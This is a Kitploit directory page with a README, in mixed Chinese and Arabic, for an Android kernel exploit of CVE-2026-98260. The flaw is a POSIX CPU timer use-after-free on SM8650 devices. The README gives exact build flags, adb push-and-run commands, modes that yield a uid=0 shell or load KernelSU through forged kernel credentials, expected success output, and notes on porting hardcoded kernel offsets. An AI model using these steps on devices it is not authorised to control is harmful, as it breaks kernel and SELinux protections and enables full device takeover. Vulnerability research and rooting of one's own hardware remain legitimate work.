Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-98260 — استغلال ثغرة use-after-free في مؤقّت CPU POSIX في نواة Android للثغرة CVE-2026-98260، يحقق وصولاً إلى صدفة بصلاحيات uid=0 أو تحميل KernelSU المتأخر عبر بيانات اعتماد مزيفة على أجهزة SM8650. | Kitploit
أدوات/GitHubGitHub/zjns/cve-2026-98260
أمان أندرويدتصعيد الامتيازاتالاستغلالما بعد الاستغلالأمن الجوالتطوير الحمولاتاستغلال الملفات الثنائية
GitHubzjns/cve-2026-98260

CVE-2026-98260

استغلال ثغرة use-after-free في مؤقّت CPU POSIX في نواة Android للثغرة CVE-2026-98260، يحقق وصولاً إلى صدفة بصلاحيات uid=0 أو تحميل KernelSU المتأخر عبر بيانات اعتماد مزيفة على أجهزة SM8650.

عرض المستودع
932منذ 8 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-98260 Timer LPE

6.6.118-android15-8-g9bc34d5b0c79-abogki537459655-4k(OnePlus PKX110,SM8650/sun)的 CVE-2026-98260 POSIX CPU timer UAF 移植

两条链:

  • timer:كتابة صفرية لـ cred حقيقية → uid=0، u:r:shell:s0 (root في نطاق shell، bset caps)
  • timer fake:cred مزيفة (full caps) → تحميل متأخر لـ libksud.so الخاص بـ KernelSU المثبّت

状态

المسارالنتيجة
كتابة صفرية لـ cred حقيقية + setuid(0) + exec shuid=0، u:r:shell:s0، ROOT_SHELL_OK
cred مزيفة + ksud late-loadlibksud.so المثبّت (uapi 6)، KSU_LOADED، su كـ u:r:ksu:s0

环境

  • 启动身份:adb/shell(uid 2000,u:r:shell:s0),可读 tracefs 与 /proc/slabinfo
  • KernelSU manager 已安装(me.weishu.kernelsu)时,fake 会自动使用其 lib/arm64/libksud.so

构建

NDK 28.2(aarch64,API 35):

cd timer
NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
$NDK/aarch64-linux-android35-clang -O2 -std=gnu11 -static \
    -fno-stack-protector -fno-pic -I. \
    -ffunction-sections -fdata-sections timer.c -o timer \
    -Wl,--gc-sections -Wl,-s -Wl,--build-id=none \
    -Wl,-z,norelro -pthread

使用

adb push timer /data/local/tmp/timer
adb shell chmod 755 /data/local/tmp/timer

# 诊断
adb shell /data/local/tmp/timer ids     # 探测 tracefs page event id
adb shell /data/local/tmp/timer leak    # 只做 base/cred/task 泄漏,不触发 UAF

# uid-0 shell (cred حقيقية)
adb shell /data/local/tmp/timer         # id + context + ROOT_SHELL_OK
adb shell /data/local/tmp/timer shell   # sh تفاعلي

# KernelSU (cred مزيفة + ksud المثبّت) —— يعمل في المقدمة، السجلات تُعرض في الوقت الفعلي
adb shell /data/local/tmp/timer fake
# بعد رؤية "[!] fake cred page held; reboot to clean" يمكنك إغلاق الطرفية مباشرة
# (عند park تم تجاهل SIGHUP/SIGINT/SIGTERM، تستمر العملية في الاحتفاظ بصفحة cred المزيفة، ولن تُقتل خطأً بواسطة Ctrl-C/قطع الاتصال)

# 若仍需在设备侧留存日志(同时实时显示):
adb shell 'cd /data/local/tmp && ./timer fake 2>&1 | tee timer.log'

fake 成功标志:

[ksu] ksud=.../lib/arm64/libksud.so version=ksud 3.3.1-24-g528bafc5 (uapi: 6)
KSU_LOADED
kernelsu ... Live
adb shell /system/bin/su -c id   # uid=0 ... context=u:r:ksu:s0

安全

  • 失败 state 会 park 并持有 zombie;不要 kill,重启是唯一安全清理
  • fake 成功后父进程也会 park,用 socket 持有 fake cred 页
  • 触发 UAF 后不要对 parked 进程 timeout/kill,否则 init 回收 stale node 可能 panic
  • park_forever() 会忽略 SIGHUP/SIGINT/SIGQUIT/SIGTERM/SIGPIPE,因此前台运行时可安全地用 Ctrl-C 或关闭 adb 终端脱开;真正终止只能靠 SIGKILL(或重启)
  • 硬重启后 ksu root 消失,使用 KernelSU 模拟软重启不会导致 ksu root 消失

目录

timer/timer.c      exploit
timer/timer        静态产物
tools/*.c          移植诊断源码

目标与移植

关键常量写死在 timer/timer.c:do_timer_create/copy_process 站点、selinux_state、panic_on_warn、copy_process task cache 大小、init_* 符号

عند تغيير النواة، أعد الاستنتاج باستخدام boot.img/BTF/kallsyms الخاصة بالجهاز؛ الملفات تحت tools/ تُستخدم للتحقق من call site وraw record وتسريب timer وقناة استرجاع AF_UNIX بسعة 8 KiB

参考

  • woshigenm/CVE-2026-98260(MIT):trigger、real-cred 零写、fake cred/KSU 思路
  • ghostlock-app:KernelSU late-load 最终阶段
  • 其他 CVE-2026-98260 移植项目:order-1 回收与触发时序
تنزيل الأداة